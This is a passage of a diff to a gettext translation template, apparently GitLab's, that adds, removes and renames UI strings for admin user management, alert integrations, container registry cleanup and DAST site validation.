-
msgid "'%{data}' at %{location} does not match format: %{format}"
msgstr ""
@@ -1415,9 +1395,6 @@ msgstr ""
msgid "Actions"
msgstr ""
-msgid "Activate"
-msgstr ""
-
msgid "Activate Service Desk"
msgstr ""
@@ -1764,9 +1741,15 @@ msgstr ""
msgid "Admin notes"
msgstr ""
+msgid "AdminArea|%{billable_users_link_start}Learn more%{billable_users_link_end} about what defines a billable user"
+msgstr ""
+
msgid "AdminArea|Active users"
msgstr ""
+msgid "AdminArea|All users created in the instance, including users who are not %{billable_users_link_start}billable users%{billable_users_link_end}."
+msgstr ""
+
msgid "AdminArea|Billable users"
msgstr ""
@@ -1989,6 +1972,15 @@ msgstr ""
msgid "AdminUsers|Access the API"
msgstr ""
+msgid "AdminUsers|Activate"
+msgstr ""
+
+msgid "AdminUsers|Activate user"
+msgstr ""
+
+msgid "AdminUsers|Activate user %{username}?"
+msgstr ""
+
msgid "AdminUsers|Active"
msgstr ""
@@ -2037,16 +2029,19 @@ msgstr ""
msgid "AdminUsers|Blocking user has the following effects:"
msgstr ""
+msgid "AdminUsers|Cannot sign in or access instance information"
+msgstr ""
+
msgid "AdminUsers|Cannot unblock LDAP blocked users"
msgstr ""
msgid "AdminUsers|Deactivate"
msgstr ""
-msgid "AdminUsers|Deactivate User %{username}?"
+msgid "AdminUsers|Deactivate user"
msgstr ""
-msgid "AdminUsers|Deactivate user"
+msgid "AdminUsers|Deactivate user %{username}?"
msgstr ""
msgid "AdminUsers|Deactivated"
@@ -2073,6 +2068,9 @@ msgstr ""
msgid "AdminUsers|External users cannot see internal or private projects unless access is explicitly granted. Also, external users cannot create projects, groups, or personal snippets."
msgstr ""
+msgid "AdminUsers|For more information, please refer to the %{link_start}user account deletion documentation.%{link_end}"
+msgstr ""
+
msgid "AdminUsers|Is using seat"
msgstr ""
@@ -2109,6 +2107,15 @@ msgstr ""
msgid "AdminUsers|Regular users have access to their groups and projects"
msgstr ""
+msgid "AdminUsers|Reject"
+msgstr ""
+
+msgid "AdminUsers|Reject request"
+msgstr ""
+
+msgid "AdminUsers|Rejected users:"
+msgstr ""
+
msgid "AdminUsers|Restore user access to the account, including web, Git and API."
msgstr ""
@@ -2148,6 +2155,15 @@ msgstr ""
msgid "AdminUsers|To confirm, type %{username}"
msgstr ""
+msgid "AdminUsers|Unblock"
+msgstr ""
+
+msgid "AdminUsers|Unblock user"
+msgstr ""
+
+msgid "AdminUsers|Unblock user %{username}?"
+msgstr ""
+
msgid "AdminUsers|User will not be able to access git repositories"
msgstr ""
@@ -2157,6 +2173,9 @@ msgstr ""
msgid "AdminUsers|When the user logs back in, their account will reactivate as a fully active account"
msgstr ""
+msgid "AdminUsers|Will be deleted"
+msgstr ""
+
msgid "AdminUsers|Without projects"
msgstr ""
@@ -2166,6 +2185,15 @@ msgstr ""
msgid "AdminUsers|You are about to permanently delete the user %{username}. This will delete all of the issues, merge requests, and groups linked to them. To avoid data loss, consider using the %{strongStart}block user%{strongEnd} feature instead. Once you %{strongStart}Delete user%{strongEnd}, it cannot be undone or recovered."
msgstr ""
+msgid "AdminUsers|You can always block their account again if needed."
+msgstr ""
+
+msgid "AdminUsers|You can always deactivate their account again if needed."
+msgstr ""
+
+msgid "AdminUsers|You can always re-activate their account, their data will remain intact."
+msgstr ""
+
msgid "AdminUsers|You can always unblock their account, their data will remain intact."
msgstr ""
@@ -2178,7 +2206,13 @@ msgstr ""
msgid "Administration"
msgstr ""
-msgid "Adoption"
+msgid "Admin|Additional users must be reviewed and approved by a system administrator. Learn more about %{help_link_start}usage caps%{help_link_end}."
+msgstr ""
+
+msgid "Admin|View pending user approvals"
+msgstr ""
+
+msgid "Admin|Your instance has reached its user cap"
msgstr ""
msgid "Advanced"
@@ -2389,6 +2423,24 @@ msgstr ""
msgid "AlertManagement|You have enabled the Opsgenie integration. Your alerts will be visible directly in Opsgenie."
msgstr ""
+msgid "AlertMappingBuilder|Define fallback"
+msgstr ""
+
+msgid "AlertMappingBuilder|GitLab alert key"
+msgstr ""
+
+msgid "AlertMappingBuilder|Make selection"
+msgstr ""
+
+msgid "AlertMappingBuilder|Payload alert key"
+msgstr ""
+
+msgid "AlertMappingBuilder|Select key"
+msgstr ""
+
+msgid "AlertMappingBuilder|Title is a required field for alerts in GitLab. Should the payload field you specified not be available, specifiy which field we should use instead. "
+msgstr ""
+
msgid "AlertService|Review your external service's documentation to learn where to provide this information to your external service, and the %{linkStart}GitLab documentation%{linkEnd} to learn more about configuring your endpoint."
msgstr ""
@@ -2398,9 +2450,18 @@ msgstr ""
msgid "AlertSettings|1. Select integration type"
msgstr ""
+msgid "AlertSettings|2. Add link to your Opsgenie alert list"
+msgstr ""
+
msgid "AlertSettings|2. Name integration"
msgstr ""
+msgid "AlertSettings|3. Set up webhook"
+msgstr ""
+
+msgid "AlertSettings|4. Sample alert payload (optional)"
+msgstr ""
+
msgid "AlertSettings|5. Map fields (optional)"
msgstr ""
@@ -2428,6 +2489,12 @@ msgstr ""
msgid "AlertSettings|Copy"
msgstr ""
+msgid "AlertSettings|Delete integration"
+msgstr ""
+
+msgid "AlertSettings|Edit payload"
+msgstr ""
+
msgid "AlertSettings|Enter integration name"
msgstr ""
@@ -2440,7 +2507,13 @@ msgstr ""
msgid "AlertSettings|HTTP Endpoint"
msgstr ""
-msgid "AlertSettings|HTTP endpoint"
+msgid "AlertSettings|If you edit the payload, the stored mapping will be reset, and you'll need to re-map the fields."
+msgstr ""
+
+msgid "AlertSettings|If you've provided a sample alert payload, you can create a custom mapping for your endpoint. The default GitLab alert keys are listed below. Please define which payload key should map to the specified GitLab key."
+msgstr ""
+
+msgid "AlertSettings|In free versions of GitLab, only one integration for each type can be added. %{linkStart}Upgrade your subscription%{linkEnd} to add additional integrations."
msgstr ""
msgid "AlertSettings|Integration"
@@ -2449,27 +2522,51 @@ msgstr ""
msgid "AlertSettings|Learn more about our our upcoming %{linkStart}integrations%{linkEnd}"
msgstr ""
-msgid "AlertSettings|Learn more about our upcoming %{linkStart}integrations%{linkEnd}"
+msgid "AlertSettings|Opsgenie"
+msgstr ""
+
+msgid "AlertSettings|Proceed with editing"
msgstr ""
-msgid "AlertSettings|Opsgenie"
+msgid "AlertSettings|Prometheus API base URL"
+msgstr ""
+
+msgid "AlertSettings|Provide an example payload from the monitoring tool you intend to integrate with. This payload can be used to create a custom mapping (optional), or to test the integration (also optional)."
+msgstr ""
+
+msgid "AlertSettings|Provide an example payload from the monitoring tool you intend to integrate with. This payload can be used to test the integration (optional)."
+msgstr ""
+
+msgid "AlertSettings|Reset Key"
msgstr ""
msgid "AlertSettings|Reset key"
msgstr ""
+msgid "AlertSettings|Reset the mapping"
+msgstr ""
+
msgid "AlertSettings|Resetting the authorization key for this project will require updating the authorization key in every alert source it is enabled in."
msgstr ""
msgid "AlertSettings|Review your external service's documentation to learn where to provide this information to your external service, and the %{linkStart}GitLab documentation%{linkEnd} to learn more about configuring your endpoint."
msgstr ""
+msgid "AlertSettings|Sample payload has been parsed. You can now map the fields."
+msgstr ""
+
+msgid "AlertSettings|Save and test payload"
+msgstr ""
+
msgid "AlertSettings|Save integration"
msgstr ""
msgid "AlertSettings|Select integration type"
msgstr ""
+msgid "AlertSettings|Submit payload"
+msgstr ""
+
msgid "AlertSettings|Test alert payload"
msgstr ""
@@ -2479,9 +2576,6 @@ msgstr ""
msgid "AlertSettings|Test failed. Do you still want to save your changes anyway?"
msgstr ""
-msgid "AlertSettings|The default GitLab alert keys are listed below. In the event an exact match could be found in the sample payload provided, that key will be mapped automatically. In all other cases, please define which payload key should map to the specified GitLab key. Any payload keys not shown in this list will not display in the alert list, but will display on the alert details page."
-msgstr ""
-
msgid "AlertSettings|There was an error updating the alert settings."
msgstr ""
@@ -2491,6 +2585,18 @@ msgstr ""
msgid "AlertSettings|URL cannot be blank and must start with http or https"
msgstr ""
+msgid "AlertSettings|Utilize the URL and authorization key below to authorize Prometheus to send alerts to GitLab. Review the Prometheus documentation to learn where to add these details, and the %{linkStart}GitLab documentation%{linkEnd} to learn more about configuring your endpoint."
+msgstr ""
+
+msgid "AlertSettings|Utilize the URL and authorization key below to authorize an external service to send alerts to GitLab. Review your external service's documentation to learn where to add these details, and the %{linkStart}GitLab documentation%{linkEnd} to learn more about configuring your endpoint."
+msgstr ""
+
+msgid "AlertSettings|Utilizing this option will link the GitLab Alerts navigation item to your existing Opsgenie instance. By selecting this option, you cannot receive alerts from any other source in GitLab; it will effectively be turning Alerts within GitLab off as a feature."
+msgstr ""
+
+msgid "AlertSettings|We will soon be introducing the ability to create multiple unique HTTP endpoints. When this functionality is live, you will be able to configure an integration with Opsgenie to surface Opsgenie alerts in GitLab. This will replace the current Opsgenie integration which will be deprecated. %{linkStart}More Information%{linkEnd}"
+msgstr ""
+
msgid "AlertSettings|Webhook URL"
msgstr ""
@@ -2503,6 +2609,9 @@ msgstr ""
msgid "AlertSettings|Your integration was successfully updated."
msgstr ""
+msgid "AlertSettings|{ \"events\": [{ \"application\": \"Name of application\" }] }"
+msgstr ""
+
msgid "Alerts"
msgstr ""
@@ -2518,16 +2627,37 @@ msgstr ""
msgid "AlertsIntegrations|Current integrations"
msgstr ""
-msgid "AlertsIntegrations|HTTP endpoint"
+msgid "AlertsIntegrations|Integration Name"
msgstr ""
-msgid "AlertsIntegrations|Integration Name"
+msgid "AlertsIntegrations|Integration payload is invalid. You can still save your changes."
msgstr ""
msgid "AlertsIntegrations|No integrations have been added yet"
msgstr ""
-msgid "AlertsIntegrations|Prometheus"
+msgid "AlertsIntegrations|The current integration could not be updated. Please try again."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration could not be added. Please try again."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration could not be deleted. Please try again."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration has been successfully removed."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration has been successfully saved. Alerts from this new integration should now appear on your alerts list."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration token could not be reset. Please try again."
+msgstr ""
+
+msgid "AlertsIntegrations|The test alert has been successfully sent, and should now be visible on your alerts list."
+msgstr ""
+
+msgid "AlertsIntegrations|You have opted to delete the %{integrationName} integration. Do you want to proceed? It means you will no longer receive alerts from this endpoint in your alert list, and this action cannot be undone."
msgstr ""
msgid "Algorithm"
@@ -2632,6 +2762,9 @@ msgstr ""
msgid "Allow rendering of PlantUML diagrams in Asciidoc documents."
msgstr ""
+msgid "Allow rendering of diagrams in AsciiDoc and Markdown documents using %{link}."
+msgstr ""
+
msgid "Allow repository mirroring to be configured by project maintainers"
msgstr ""
@@ -2749,9 +2882,6 @@ msgstr ""
msgid "An error has occurred"
msgstr ""
-msgid "An error has occurred fetching instructions"
-msgstr ""
-
msgid "An error occured while making the changes: %{error}"
msgstr ""
@@ -2872,9 +3002,6 @@ msgstr ""
msgid "An error occurred while fetching terraform reports."
msgstr ""
-msgid "An error occurred while fetching the Service Desk address."
-msgstr ""
-
msgid "An error occurred while fetching the board lists. Please try again."
msgstr ""
@@ -2908,16 +3035,19 @@ msgstr ""
msgid "An error occurred while generating a username. Please try again."
msgstr ""
+msgid "An error occurred while getting autocomplete data. Please refresh the page and try again."
+msgstr ""
+
msgid "An error occurred while getting files for - %{branchId}"
msgstr ""
msgid "An error occurred while getting projects"
msgstr ""
-msgid "An error occurred while importing project: %{details}"
+msgid "An error occurred while initializing path locks"
msgstr ""
-msgid "An error occurred while initializing path locks"
+msgid "An error occurred while loading a section of this page."
msgstr ""
msgid "An error occurred while loading all the files."
@@ -2974,6 +3104,9 @@ msgstr ""
msgid "An error occurred while loading the merge request."
msgstr ""
+msgid "An error occurred while loading the pipeline."
+msgstr ""
+
msgid "An error occurred while loading the pipelines jobs."
msgstr ""
@@ -3001,9 +3134,6 @@ msgstr ""
msgid "An error occurred while rendering the editor"
msgstr ""
-msgid "An error occurred while rendering the linter"
-msgstr ""
-
msgid "An error occurred while reordering issues."
msgstr ""
@@ -3034,6 +3164,9 @@ msgstr ""
msgid "An error occurred while triggering the job."
msgstr ""
+msgid "An error occurred while trying to generate the report. Please try again later."
+msgstr ""
+
msgid "An error occurred while trying to run a new pipeline for this Merge Request."
msgstr ""
@@ -3052,6 +3185,9 @@ msgstr ""
msgid "An error occurred while updating the comment"
msgstr ""
+msgid "An error occurred while updating the milestone."
+msgstr ""
+
msgid "An error occurred while validating group path"
msgstr ""
@@ -3238,6 +3374,12 @@ msgstr ""
msgid "Apply suggestion"
msgstr ""
+msgid "Apply suggestion commit message"
+msgstr ""
+
+msgid "Apply suggestion on %{fileName}"
+msgstr ""
+
msgid "Apply suggestions"
msgstr ""
@@ -3296,6 +3438,9 @@ msgid "ApprovalRuleSummary|%{count} approval required from %{membersCount}"
msgid_plural "ApprovalRuleSummary|%{count} approvals required from %{membersCount}"
msgstr[0] ""
+msgid "ApprovalRule|Approval rules"
+msgstr ""
+
msgid "ApprovalRule|Approvers"
msgstr ""
@@ -3377,6 +3522,9 @@ msgstr ""
msgid "Archived"
msgstr ""
+msgid "Archived (%{movedToStart}moved%{movedToEnd})"
+msgstr ""
+
msgid "Archived in this version"
msgstr ""
@@ -3428,9 +3576,6 @@ msgstr ""
msgid "Are you sure you want to delete this device? This action cannot be undone."
msgstr ""
-msgid "Are you sure you want to delete this list?"
-msgstr ""
-
msgid "Are you sure you want to delete this pipeline schedule?"
msgstr ""
@@ -3480,6 +3625,9 @@ msgstr ""
msgid "Are you sure you want to remove this identity?"
msgstr ""
+msgid "Are you sure you want to remove this list?"
+msgstr ""
+
msgid "Are you sure you want to reset registration token?"
msgstr ""
@@ -3752,6 +3900,12 @@ msgstr ""
msgid "Authenticate with GitHub"
msgstr ""
+msgid "Authenticated API request rate limit"
+msgstr ""
+
+msgid "Authenticated web request rate limit"
+msgstr ""
+
msgid "Authenticating"
msgstr ""
@@ -3872,6 +4026,9 @@ msgstr ""
msgid "AutoRemediation|%{mrsCount} ready for review"
msgstr ""
+msgid "AutoRemediation|Auto-fix solution available"
+msgstr ""
+
msgid "AutoRemediation|Auto-fix solutions"
msgstr ""
@@ -4160,12 +4317,18 @@ msgstr ""
msgid "BillingPlan|Upgrade"
msgstr ""
+msgid "Billing|An email address is only visible for users managed through Group Managed Accounts."
+msgstr ""
+
msgid "Billing|An error occurred while loading billable members list"
msgstr ""
msgid "Billing|No users to display."
msgstr ""
+msgid "Billing|Private"
+msgstr ""
+
msgid "Billing|Updated live"
msgstr ""
@@ -4190,6 +4353,10 @@ msgstr ""
msgid "Blocked"
msgstr ""
+msgid "Blocked by %d issue"
+msgid_plural "Blocked by %d issues"
+msgstr[0] ""
+
msgid "Blocked issue"
msgstr ""
@@ -4241,6 +4408,9 @@ msgstr ""
msgid "Boards|An error occurred while moving the issue. Please try again."
msgstr ""
+msgid "Boards|An error occurred while removing the list. Please try again."
+msgstr ""
+
msgid "Boards|An error occurred while updating the list. Please try again."
msgstr ""
@@ -4499,9 +4669,6 @@ msgstr ""
msgid "By %{user_name}"
msgstr ""
-msgid "By URL"
-msgstr ""
-
msgid "By clicking Register, I agree that I have read and accepted the %{company_name} %{linkStart}Terms of Use and Privacy Policy%{linkEnd}"
msgstr ""
@@ -4529,6 +4696,9 @@ msgstr ""
msgid "CI Lint"
msgstr ""
+msgid "CI configuration validated, including all configuration added with the %{codeStart}includes%{codeEnd} keyword. %{link}"
+msgstr ""
+
msgid "CI settings"
msgstr ""
@@ -4625,6 +4795,9 @@ msgstr ""
msgid "Can't apply this suggestion."
msgstr ""
+msgid "Can't be empty"
+msgstr ""
+
msgid "Can't create snippet: %{err}"
msgstr ""
@@ -4652,6 +4825,12 @@ msgstr ""
msgid "Canary Deployments is a popular CI strategy, where a small portion of the fleet is updated to the new version of your application."
msgstr ""
+msgid "Canary Ingress does not exist in the environment."
+msgstr ""
+
+msgid "Canary weight must be specified and valid range (0..100)."
+msgstr ""
+
msgid "Cancel"
msgstr ""
@@ -4685,9 +4864,6 @@ msgstr ""
msgid "Cannot enable shared runners because parent group does not allow it"
msgstr ""
-msgid "Cannot find user key."
-msgstr ""
-
msgid "Cannot have multiple Jira imports running at the same time"
msgstr ""
@@ -4829,6 +5005,9 @@ msgstr ""
msgid "Changes affect new repositories only. If not specified, Git's default name %{branch_name_default} will be used."
msgstr ""
+msgid "Changes affect new repositories only. If not specified, either the configured application-wide default or Git's default name %{branch_name_default} will be used."
+msgstr ""
+
msgid "Changes are shown as if the %{b_open}source%{b_close} revision was being merged into the %{b_open}target%{b_close} revision."
msgstr ""
@@ -4847,9 +5026,6 @@ msgstr ""
msgid "Changes won't take place until the index is %{link_start}recreated%{link_end}."
msgstr ""
-msgid "Changing a Release tag is only supported via Releases API. %{linkStart}More information%{linkEnd}"
-msgstr ""
-
msgid "Changing group URL can have unintended side effects."
msgstr ""
@@ -4916,6 +5092,9 @@ msgstr ""
msgid "Check feature availability on namespace plan"
msgstr ""
+msgid "Check out, review, and merge locally"
+msgstr ""
+
msgid "Check the %{docs_link_start}documentation%{docs_link_end}."
msgstr ""
@@ -5102,12 +5281,6 @@ msgstr ""
msgid "Chinese language support using"
msgstr ""
-msgid "Choose %{strong_open}Create archive%{strong_close} and wait for archiving to complete."
-msgstr ""
-
-msgid "Choose %{strong_open}Next%{strong_close} at the bottom of the page."
-msgstr ""
-
msgid "Choose a branch/tag (e.g. %{master}) or enter a commit (e.g. %{sha}) to see what's changed or to create a merge request."
msgstr ""
@@ -5141,6 +5314,9 @@ msgstr ""
msgid "Choose labels"
msgstr ""
+msgid "Choose specific groups or storage shards"
+msgstr ""
+
msgid "Choose the top-level group for your repository imports."
msgstr ""
@@ -5309,7 +5485,7 @@ msgstr ""
msgid "ClassificationLabelUnavailable|is unavailable: %{reason}"
msgstr ""
-msgid "Cleanup policy for tags"
+msgid "Clean up image tags"
msgstr ""
msgid "Cleanup policy maximum processing time (seconds)"
@@ -5351,10 +5527,10 @@ msgstr ""
msgid "Clears weight."
msgstr ""
-msgid "Click the %{strong_open}Download%{strong_close} button and wait for downloading to complete."
+msgid "Click %{link_start}here%{link_end} to view the request."
msgstr ""
-msgid "Click the %{strong_open}Select none%{strong_close} button on the right, since we only need \"Google Code Project Hosting\"."
+msgid "Click %{link_to} to view the request."
msgstr ""
msgid "Click the button below to begin the install process by navigating to the Kubernetes page"
@@ -5402,7 +5578,7 @@ msgstr ""
msgid "Close"
msgstr ""
-msgid "Close %{display_issuable_type}"
+msgid "Close %{issueType}"
msgstr ""
msgid "Close %{tabname}"
@@ -5411,9 +5587,6 @@ msgstr ""
msgid "Close epic"
msgstr ""
-msgid "Close issue"
-msgstr ""
-
msgid "Close milestone"
msgstr ""
@@ -5504,6 +5677,9 @@ msgstr ""
msgid "ClusterIntegration|%{appList} was successfully installed on your Kubernetes cluster"
msgstr ""
+msgid "ClusterIntegration|%{boldStart}Note:%{boldEnd} Requires Ingress to be installed."
+msgstr ""
+
msgid "ClusterIntegration|%{externalIp}.nip.io"
msgstr ""
@@ -5612,6 +5788,9 @@ msgstr ""
msgid "ClusterIntegration|CA Certificate"
msgstr ""
+msgid "ClusterIntegration|Can be safely removed. Prior to GitLab 13.2, GitLab used a remote Tiller server to manage the applications. GitLab no longer uses this server. Uninstalling this server will not affect your other applications. This row will disappear afterwards."
+msgstr ""
+
msgid "ClusterIntegration|Cert-Manager"
msgstr ""
@@ -5870,9 +6049,6 @@ msgstr ""
msgid "ClusterIntegration|HTTP Error"
msgstr ""
-msgid "ClusterIntegration|Helm Tiller"
-msgstr ""
-
msgid "ClusterIntegration|Helm release failed to install"
msgstr ""
@@ -5975,6 +6151,9 @@ msgstr ""
msgid "ClusterIntegration|Learn more about instance Kubernetes clusters"
msgstr ""
+msgid "ClusterIntegration|Legacy Helm Tiller server"
+msgstr ""
+
msgid "ClusterIntegration|Loading IAM Roles"
msgstr ""
@@ -6308,7 +6487,7 @@ msgstr ""
msgid "ClusterIntegration|The associated IP and all deployed services will be deleted and cannot be restored. Uninstalling Knative will also remove Istio from your cluster. This will not effect any other applications."
msgstr ""
-msgid "ClusterIntegration|The associated Tiller pod, the %{gitlabManagedAppsNamespace} namespace, and all of its resources will be deleted and cannot be restored."
+msgid "ClusterIntegration|The associated Tiller pod will be deleted and cannot be restored. Your other applications will remain unaffected."
msgstr ""
msgid "ClusterIntegration|The associated load balancer and IP will be deleted and cannot be restored."
@@ -6648,6 +6827,9 @@ msgstr ""
msgid "Commit Message"
msgstr ""
+msgid "Commit changes"
+msgstr ""
+
msgid "Commit deleted"
msgstr ""
@@ -6771,9 +6953,6 @@ msgstr ""
msgid "Compliance framework (optional)"
msgstr ""
-msgid "Compliance frameworks"
-msgstr ""
-
msgid "ComplianceDashboard|created by:"
msgstr ""
@@ -6945,6 +7124,9 @@ msgstr ""
msgid "Consistency guarantee method"
msgstr ""
+msgid "Contact Sales to upgrade"
+msgstr ""
+
msgid "Contact sales to upgrade"
msgstr ""
@@ -6969,7 +7151,7 @@ msgstr ""
msgid "Container repositories"
msgstr ""
-msgid "Container repositories sync capacity"
+msgid "Container repositories synchronization concurrency limit"
msgstr ""
msgid "Container repository"
@@ -6995,6 +7177,9 @@ msgstr ""
msgid "ContainerRegistry|%{toggleStatus} - Tags matching the patterns defined below will be scheduled for deletion"
msgstr ""
+msgid "ContainerRegistry|%{toggleStatus} - Tags that match the rules on this page are automatically scheduled for deletion."
+msgstr ""
+
msgid "ContainerRegistry|Build an image"
msgstr ""
@@ -7070,6 +7255,15 @@ msgstr ""
msgid "ContainerRegistry|Invalid tag: missing manifest digest"
msgstr ""
+msgid "ContainerRegistry|Keep tags matching:"
+msgstr ""
+
+msgid "ContainerRegistry|Keep the most recent:"
+msgstr ""
+
+msgid "ContainerRegistry|Keep these tags"
+msgstr ""
+
msgid "ContainerRegistry|Login"
msgstr ""
@@ -7079,6 +7273,15 @@ msgstr ""
msgid "ContainerRegistry|Missing or insufficient permission, delete button disabled"
msgstr ""
+msgid "ContainerRegistry|Next cleanup scheduled to run on:"
+msgstr ""
+
+msgid "ContainerRegistry|Not yet scheduled"
+msgstr ""
+
+msgid "ContainerRegistry|Note: Any policy update will result in a change to the scheduled run date and time"
+msgstr ""
+
msgid "ContainerRegistry|Number of tags to retain:"
msgstr ""
@@ -7101,7 +7304,16 @@ msgid "ContainerRegistry|Remove tag"
msgid_plural "ContainerRegistry|Remove tags"
msgstr[0] ""
-msgid "ContainerRegistry|Set cleanup policy"
+msgid "ContainerRegistry|Remove tags matching:"
+msgstr ""
+
+msgid "ContainerRegistry|Remove tags older than:"
+msgstr ""
+
+msgid "ContainerRegistry|Remove these tags"
+msgstr ""
+
+msgid "ContainerRegistry|Run cleanup:"
msgstr ""
msgid "ContainerRegistry|Some tags were not deleted"
@@ -7110,6 +7322,9 @@ msgstr ""
msgid "ContainerRegistry|Something went wrong while fetching the cleanup policy."
msgstr ""
+msgid "ContainerRegistry|Something went wrong while fetching the image details."
+msgstr ""
+
msgid "ContainerRegistry|Something went wrong while fetching the repository list."
msgstr ""
@@ -7131,21 +7346,30 @@ msgstr ""
msgid "ContainerRegistry|Sorry, your filter produced no results."
msgstr ""
-msgid "ContainerRegistry|Tag expiration policy"
-msgstr ""
-
msgid "ContainerRegistry|Tag successfully marked for deletion."
msgstr ""
msgid "ContainerRegistry|Tags successfully marked for deletion."
msgstr ""
+msgid "ContainerRegistry|Tags that match these rules are %{strongStart}kept%{strongEnd}, even if they match a removal rule below. The %{secondStrongStart}latest%{secondStrongEnd} tag is always kept."
+msgstr ""
+
+msgid "ContainerRegistry|Tags that match these rules are %{strongStart}removed%{strongEnd}, unless a rule above says to keep them."
+msgstr ""
+
msgid "ContainerRegistry|Tags with names matching this regex pattern will %{italicStart}be preserved:%{italicEnd}"
msgstr ""
msgid "ContainerRegistry|Tags with names matching this regex pattern will %{italicStart}expire:%{italicEnd}"
msgstr ""
+msgid "ContainerRegistry|Tags with names that match this regex pattern are kept. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
+msgid "ContainerRegistry|Tags with names that match this regex pattern are removed. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
msgid "ContainerRegistry|The cleanup policy timed out before it could delete all tags. An administrator can %{adminLinkStart}manually run cleanup now%{adminLinkEnd} or you can wait for the cleanup policy to automatically run again. %{docLinkStart}More information%{docLinkEnd}"
msgstr ""
@@ -7933,9 +8157,6 @@ msgstr ""
msgid "Customize how FogBugz email addresses and usernames are imported into GitLab. In the next step, you'll be able to select the projects you want to import."
msgstr ""
-msgid "Customize how Google Code email addresses and usernames are imported into GitLab. In the next step, you'll be able to select the projects you want to import."
-msgstr ""
-
msgid "Customize icon"
msgstr ""
@@ -7996,6 +8217,9 @@ msgstr ""
msgid "CycleAnalyticsEvent|Merge request created"
msgstr ""
+msgid "CycleAnalyticsEvent|Merge request first commit time"
+msgstr ""
+
msgid "CycleAnalyticsEvent|Merge request first deployed to production"
msgstr ""
@@ -8120,9 +8344,6 @@ msgstr ""
msgid "CycleAnalytics|stage dropdown"
msgstr ""
-msgid "DAG"
-msgstr ""
-
msgid "DAG visualization requires at least 3 dependent jobs."
msgstr ""
@@ -8171,7 +8392,10 @@ msgstr ""
msgid "DastProfiles|Are you sure you want to delete this profile?"
msgstr ""
-msgid "DastProfiles|Could not create site validation token. Please refresh the page, or try again later."
+msgid "DastProfiles|Authentication"
+msgstr ""
+
+msgid "DastProfiles|Authentication URL"
msgstr ""
msgid "DastProfiles|Could not create the scanner profile. Please try again."
@@ -8198,9 +8422,6 @@ msgstr ""
msgid "DastProfiles|Could not fetch site profiles. Please refresh the page, or try again later."
msgstr ""
-msgid "DastProfiles|Could not retrieve site validation status. Please refresh the page, or try again later."
-msgstr ""
-
msgid "DastProfiles|Could not update the scanner profile. Please try again."
msgstr ""
@@ -8222,15 +8443,15 @@ msgstr ""
msgid "DastProfiles|Do you want to discard your changes?"
msgstr ""
-msgid "DastProfiles|Download validation text file"
-msgstr ""
-
msgid "DastProfiles|Edit scanner profile"
msgstr ""
msgid "DastProfiles|Edit site profile"
msgstr ""
+msgid "DastProfiles|Enable Authentication"
+msgstr ""
+
msgid "DastProfiles|Error Details"
msgstr ""
@@ -8264,9 +8485,18 @@ msgstr ""
msgid "DastProfiles|No profiles created yet"
msgstr ""
+msgid "DastProfiles|Not Validated"
+msgstr ""
+
msgid "DastProfiles|Passive"
msgstr ""
+msgid "DastProfiles|Password"
+msgstr ""
+
+msgid "DastProfiles|Password form field"
+msgstr ""
+
msgid "DastProfiles|Please enter a valid timeout value"
msgstr ""
@@ -8300,64 +8530,85 @@ msgstr ""
msgid "DastProfiles|Site Profiles"
msgstr ""
-msgid "DastProfiles|Site is not validated yet, please follow the steps."
+msgid "DastProfiles|Spider timeout"
msgstr ""
-msgid "DastProfiles|Site must be validated to run an active scan."
+msgid "DastProfiles|Target URL"
msgstr ""
-msgid "DastProfiles|Spider timeout"
+msgid "DastProfiles|Target timeout"
msgstr ""
-msgid "DastProfiles|Step 1 - Choose site validation method"
+msgid "DastProfiles|The maximum number of minutes allowed for the spider to traverse the site."
msgstr ""
-msgid "DastProfiles|Step 2 - Add following text to the target site"
+msgid "DastProfiles|The maximum number of seconds allowed for the site under test to respond to a request."
msgstr ""
-msgid "DastProfiles|Step 3 - Confirm text file location and validate"
+msgid "DastProfiles|Turn on AJAX spider"
msgstr ""
-msgid "DastProfiles|Target URL"
+msgid "DastProfiles|Username"
msgstr ""
-msgid "DastProfiles|Target timeout"
+msgid "DastProfiles|Username form field"
msgstr ""
-msgid "DastProfiles|Text file validation"
+msgid "DastProfiles|Validated"
msgstr ""
-msgid "DastProfiles|The maximum number of minutes allowed for the spider to traverse the site."
+msgid "DastSiteValidation|Copy HTTP header to clipboard"
msgstr ""
-msgid "DastProfiles|The maximum number of seconds allowed for the site under test to respond to a request."
+msgid "DastSiteValidation|Could not create validation token. Please try again."
msgstr ""
-msgid "DastProfiles|Turn on AJAX spider"
+msgid "DastSiteValidation|Download validation text file"
msgstr ""
-msgid "DastProfiles|Validate"
+msgid "DastSiteValidation|Header validation"
msgstr ""
-msgid "DastProfiles|Validate target site"
+msgid "DastSiteValidation|Step 1 - Choose site validation method"
msgstr ""
-msgid "DastProfiles|Validating..."
+msgid "DastSiteValidation|Step 2 - Add following HTTP header to your site"
msgstr ""
-msgid "DastProfiles|Validation failed, please make sure that you follow the steps above with the choosen method."
+msgid "DastSiteValidation|Step 2 - Add following text to the target site"
msgstr ""
-msgid "DastProfiles|Validation failed. Please try again."
+msgid "DastSiteValidation|Step 3 - Confirm header location and validate"
msgstr ""
-msgid "DastProfiles|Validation is in progress..."
+msgid "DastSiteValidation|Step 3 - Confirm text file location and validate"
msgstr ""
-msgid "DastProfiles|Validation must be turned off to change the target URL"
+msgid "DastSiteValidation|Text file validation"
msgstr ""
-msgid "DastProfiles|Validation succeeded. Both active and passive scans can be run against the target site."
+msgid "DastSiteValidation|The validation has failed. Please try again."
+msgstr ""
+
+msgid "DastSiteValidation|The validation is in progress. Please wait..."
+msgstr ""
+
+msgid "DastSiteValidation|Validate"
+msgstr ""
+
+msgid "DastSiteValidation|Validate target site"
+msgstr ""
+
+msgid "DastSiteValidation|Validated"
+msgstr ""
+
+msgid "DastSiteValidation|Validating..."
+msgstr ""
+
+msgid "DastSiteValidation|Validation failed"
+msgstr ""
+
+msgid "DastSiteValidation|Validation succeeded. Both active and passive scans can be run against the target site."
msgstr ""
msgid "Data is still calculating..."
@@ -8471,9 +8722,6 @@ msgstr ""
msgid "Default stages"
msgstr ""
-msgid "Default: Directly import the Google Code email address or username"
-msgstr ""
-
msgid "Default: Map a FogBugz account ID to a full name"
msgstr ""
@@ -8498,7 +8746,7 @@ msgstr ""
msgid "Delayed Project Deletion (%{adjourned_deletion})"
